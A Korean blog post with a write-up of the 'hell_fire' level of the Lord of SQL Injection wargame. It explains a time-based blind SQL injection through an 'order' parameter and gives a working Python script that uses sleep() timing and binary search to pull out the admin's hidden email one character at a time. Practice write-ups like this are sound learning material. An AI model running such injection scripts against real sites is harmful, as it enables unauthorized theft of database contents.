Osori Development Studio

[los]hell fire 본문

전공쪽/Lord of Sql injection

[los]hell fire

OSOR2 2020. 12. 15. 01:22

hellfire의 풀이를 시작해 보도록 하겠다. 먼저 이제 컬럼이 id, email,score로 세개가 되었다. 

그리고 쿼리를 보니 order에 따라서 모든 값을 다 가져온다. 

그리고 출력할때 admin의 email은 *로 숨겨서 출력을 한다. 이를 볼때 admin의 email을 알아 맞추는 게임이 되겠다. 

union이 막혀있고 지금까지 배운 내용으로 보아서는 time based injection 내용인 것 같아서 테스트를 해보았다. 

실제로 위 쿼리를 보내면 3초이따가 결과가 수행된다. 

 

sleep(2)를 주고 파이썬에서 실행시간 측정을 해보았다. 2초가 걸리는 것을 알 수 있었고 이를 이용해 brute forcing을 하면 될 것 같았다. 그리고 너무 느릴 거 같아서 이진탐색을 적용했다. 

 

그리고 email 길이가 28자라는 것도 알아냈다.

거의 3분간 돌린결과 email이 나왔다. 근데 저 / 은 그냥 시간을 좀 타이트하게 줘서 나온 버그같아서 .으로 바꿔줬다. 

 

참고로 그냥 순회로 돌리면 시간차가 2배정도 난다. 

#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests
import time
header={"Cookie":"****"}
password=''
whole=0

for i in range(1,29) : 
	max=0xff
	min=0
	s=time.time()
	while True : 
		k=int((max+min)/2)
		url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=(1)%20and%20id=%27admin%27%20and%20if(ascii(substr(email,"
		url+=str(i)+",1))<"+str(k)+",sleep(1),1)" 
		start=time.time()
		request=requests.get(url,headers=header)
		interval=time.time()-start #실행 시간 
		if interval>1 : #만약 실행시간이 1초가 넘어간다면 조건이 참인경우 
			max=k
		else :
			min=k
		#print('max : '+hex(max)+' min : '+hex(min))
		k=int((max+min)/2)
		url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=(1)%20and%20id=%27admin%27%20and%20if(ascii(substr(email,"
		url+=str(i)+",1))="+str(k)+",sleep(2),1)" 
		start=time.time()
		request=requests.get(url,headers=header)
		interval=time.time()-start #실행 시간 
		if interval>1 : #만약 실행시간이 1초가 넘어간다면 조건이 참인경우 
			password+=chr(k)
			print(password)
			whole+=time.time()-s
			print(whole)
			break
print(password)

'전공쪽 > Lord of Sql injection' 카테고리의 다른 글

[los] green dragon  (0) 2020.12.15
[los] evil_wizard  (0) 2020.12.15
[los]dark eyes  (0) 2020.12.15
[los]iron golem  (0) 2020.12.14
[los] dragon  (0) 2020.11.23